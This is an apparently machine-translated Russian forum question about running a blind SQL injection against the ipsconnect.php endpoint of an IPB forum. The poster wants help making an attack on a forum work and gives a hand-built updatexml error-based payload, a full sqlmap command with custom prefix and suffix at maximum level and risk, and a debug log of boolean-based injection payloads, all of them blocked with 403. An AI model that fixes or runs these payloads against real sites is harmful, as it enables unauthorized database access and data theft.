Я хочу сделать слепую инъекцию SQL на форуме ipb. Это хорошо работает с рукой, но это слишком долго. И я попытался использовать sqlmap. Но я не могу получить правильный запрос на это. Это должно быть в формате:
1111) and 0="'" and updatexml(NULL,concat(0x3a, (SELECT @@version) ) ,NULL)-- -'
Где select @@ version выполняется SQL-запрос. Updatexml - просто пример, другие способы тоже работают.
sqlmap.py -u "http://example.com/interface/ipsconnect/ipsconnect.php" --data "act=login&idType=id&id[]=1111" --suffix="-- -'" --dbms=mysql -v3 --technique=B --prefix=") and "'" and "" --level 5 --risk 3 -p id[]
Но он генерирует неправильные запросы, такие как:
[09:12:05] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:05] [WARNING] heuristic (basic) test shows that POST parameter 'id[]' might not be injectable
[09:12:05] [PAYLOAD] 1111) and ' and 'BLvfen<'">pylcPB-- -'
[09:12:05] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:05] [INFO] testing for SQL injection on POST parameter 'id[]'
[09:12:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:12:05] [PAYLOAD] 1111) and ' and AND 1732=2317-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [PAYLOAD] 1111) and ' and AND 5551=5551-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:12:06] [PAYLOAD] -2700) and ' and OR 6220=5854-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [PAYLOAD] -5459) and ' and OR 4862=4862-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[09:12:06] [PAYLOAD] 1111) and ' and OR NOT 4347=4111-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [PAYLOAD] 1111) and ' and OR NOT 6303=6303-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[09:12:06] [PAYLOAD] 1111) and ' and AND 7850=(SELECT (CASE WHEN (7850=7860) THEN 7850 ELSE (SELECT 7860 UNION SELECT 1139) END))-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [PAYLOAD] 1111) and ' and AND 4417=(SELECT (CASE WHEN (4417=4417) THEN 4417 ELSE (SELECT 7307 UNION SELECT 1910) END))-- -'
[09:12:06] [DEBUG] got HTTP error code: 403 (HTTPError: Forbidden)
[09:12:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[09:12:06] [PAYLOAD] -6639) and ' and OR 4761=(SELECT (CASE WHEN (4761=4384) THEN 4761 ELSE (SELECT 4384 UNION SELECT 4595) END))-- -'
Прежде всего, между и утверждениями отсутствуют двойные кавычки. И мне кажется странным, что sqlmap не использует режим сна или rlike для извлечения данных. Тем не менее, я указал метод слепой инъекции. Я не очень знаком с sqlmap, поэтому, должно быть, я что-то не так делаю: D
Я думаю, что что-то не так с двойными кавычками в префиксе. Это выполняется на машине Windows. Может быть, попробовать это на Linux?